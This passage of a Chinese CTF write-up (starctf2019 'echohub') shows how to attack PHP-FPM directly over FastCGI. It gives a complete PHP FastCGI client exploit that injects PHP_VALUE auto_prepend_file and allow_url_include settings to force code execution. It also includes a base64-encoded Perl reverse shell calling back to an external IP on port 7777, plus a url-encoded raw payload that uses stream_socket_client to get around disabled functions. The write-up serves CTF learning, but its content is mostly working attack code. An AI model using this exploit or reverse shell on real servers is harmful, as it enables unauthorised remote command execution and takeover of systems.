stream_get_meta_data( $this->_sock ); if ( $info['timed_out'] ) { throw new TimedOutException( 'Write timed out' ); } // Broken pipe, tear down so future requests might succeed fclose( $this->_sock ); throw new \Exception( 'Failed to write request to socket' ); } $this->_requests[ $id ] = array( 'state' => self::REQ_STATE_WRITTEN, 'response' => null ); return $id; } /** * Blocking call that waits for response to specific request * * @param Integer $requestId * @param Integer $timeoutMs [optional] the number of milliseconds to wait. Defaults to the ReadWriteTimeout value set. * * @return string response body */ public function wait_for_response( $requestId, $timeoutMs = 0 ) { if ( ! isset( $this->_requests[ $requestId ] ) ) { throw new \Exception( 'Invalid request id given' ); } // If we already read the response during an earlier call for different id, just return it if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK || $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR ) { return $this->_requests[ $requestId ]['response']; } if ( $timeoutMs > 0 ) { // Reset timeout on socket for now $this->set_ms_timeout( $timeoutMs ); } else { $timeoutMs = $this->_readWriteTimeout; } // Need to manually check since we might do several reads none of which timeout themselves // but still not get the response requested $startTime = microtime( true ); do { $resp = $this->readPacket(); if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) { if ( $resp['type'] == self::STDERR ) { $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR; } $this->_requests[ $resp['requestId'] ]['response'] .= $resp['content']; } if ( $resp['type'] == self::END_REQUEST ) { $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK; if ( $resp['requestId'] == $requestId ) { break; } } if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) { // Reset $this->set_ms_timeout( $this->_readWriteTimeout ); throw new \Exception( 'Timed out' ); } } while ( $resp ); if ( ! is_array( $resp ) ) { $info = stream_get_meta_data( $this->_sock ); // We must reset timeout but it must be AFTER we get info $this->set_ms_timeout( $this->_readWriteTimeout ); if ( $info['timed_out'] ) { throw new TimedOutException( 'Read timed out' ); } if ( $info['unread_bytes'] == 0 && $info['blocked'] && $info['eof'] ) { throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' ); } throw new \Exception( 'Read failed' ); } // Reset timeout $this->set_ms_timeout( $this->_readWriteTimeout ); switch ( ord( $resp['content']{4} ) ) { case self::CANT_MPX_CONN: throw new \Exception( 'This app can\'t multiplex [CANT_MPX_CONN]' ); break; case self::OVERLOADED: throw new \Exception( 'New request rejected; too busy [OVERLOADED]' ); break; case self::UNKNOWN_ROLE: throw new \Exception( 'Role value not known [UNKNOWN_ROLE]' ); break; case self::REQUEST_COMPLETE: return $this->_requests[ $requestId ]['response']; } } } $client = new Client( 'tcp://127.0.0.1:9000', - 1 ); #$client = new Client( 'unix:///run/php/php7.3-fpm.sock', - 1 ); $php_value = "auto_prepend_file = php://input"; $filepath = '/var/www/html/index.php'; $shellcode = base64_encode( 'perl -e \'use Socket;$i="117.48.197.137";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' ); $content = "<?php system(base64_decode('$shellcode'));exit();?>"; echo $client->request( array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SERVER_SOFTWARE' => 'php/fcgiclient', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'mag-tured', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_TYPE' => 'application/x-www-form-urlencoded', 'CONTENT_LENGTH' => strlen( $content ), 'PHP_VALUE' => $php_value, 'PHP_ADMIN_VALUE' => 'allow_url_include = On' ), $content );
搭建nginx和fpm,并通过tcp://127.0.0.1:9000进行通讯,运行FPM攻击脚本,并使用tcpdump抓取攻击数据包
利用16进制的RAW转换并进行url编码:
function hexToStr( $hex ) { $str = ""; for ( $i = 0; $i < strlen( $hex ) - 1; $i += 2 ) { $str .= chr( hexdec( $hex[ $i ] . $hex[ $i + 1 ] ) ); } return $str; } $str = '0101b0720008000000010000000000000......00000000'; var_dump( urlencode( hexToStr( $str ) ) );
这里最后选择未被禁用的stream_socket_client函数和FPM进行通讯
$shellcode = '$f = stream_socket_client("unix:///run/php/php7.3-fpm.sock", $errno, $errstr,3);echo 111;$payload = urldecode("%01%01%B0r%00%08%00%00%00%01%00%00%00%00%00%00%01%04%B0r%01%87%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%0F%0ESERVER_SOFTWAREphp%2Ffcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMEmag-tured%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%03CONTENT_LENGTH341%09%1FPHP_VALUEauto_prepend_file+%3D+php%3A%2F%2Finput%0F%16PHP_ADMIN_VALUEallow_url_include+%3D+On%01%04%B0r%00%00%00%00%01%05%B0r%01U%00%00%3C%3Fphp+system%28base64_decode%28%27cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTE3LjQ4LjE5Ny4xMzciOyRwPTc3Nzc7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwc**0b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI%2BJlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307Jw%3D%3D%27%29%29%3Bexit%28%29%3B%3F%3E%01%05%B0r%00%00%00%00");echo 222;stream_socket_sendto($f,$payload);';
此时便获得了一个不受php.ini限制的shell,获取去flag的方式和第一个题目此时一致。
https://blog.csdn.net/qq_22863733/article/details/80349120
https://www.zhaoj.in/read-5479.html
https://codingstandards.iteye.com/blog/836588
https://github.com/sixstars/starctf2019/tree/master/web-echohub
本文作者:Rai4over
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/105333.html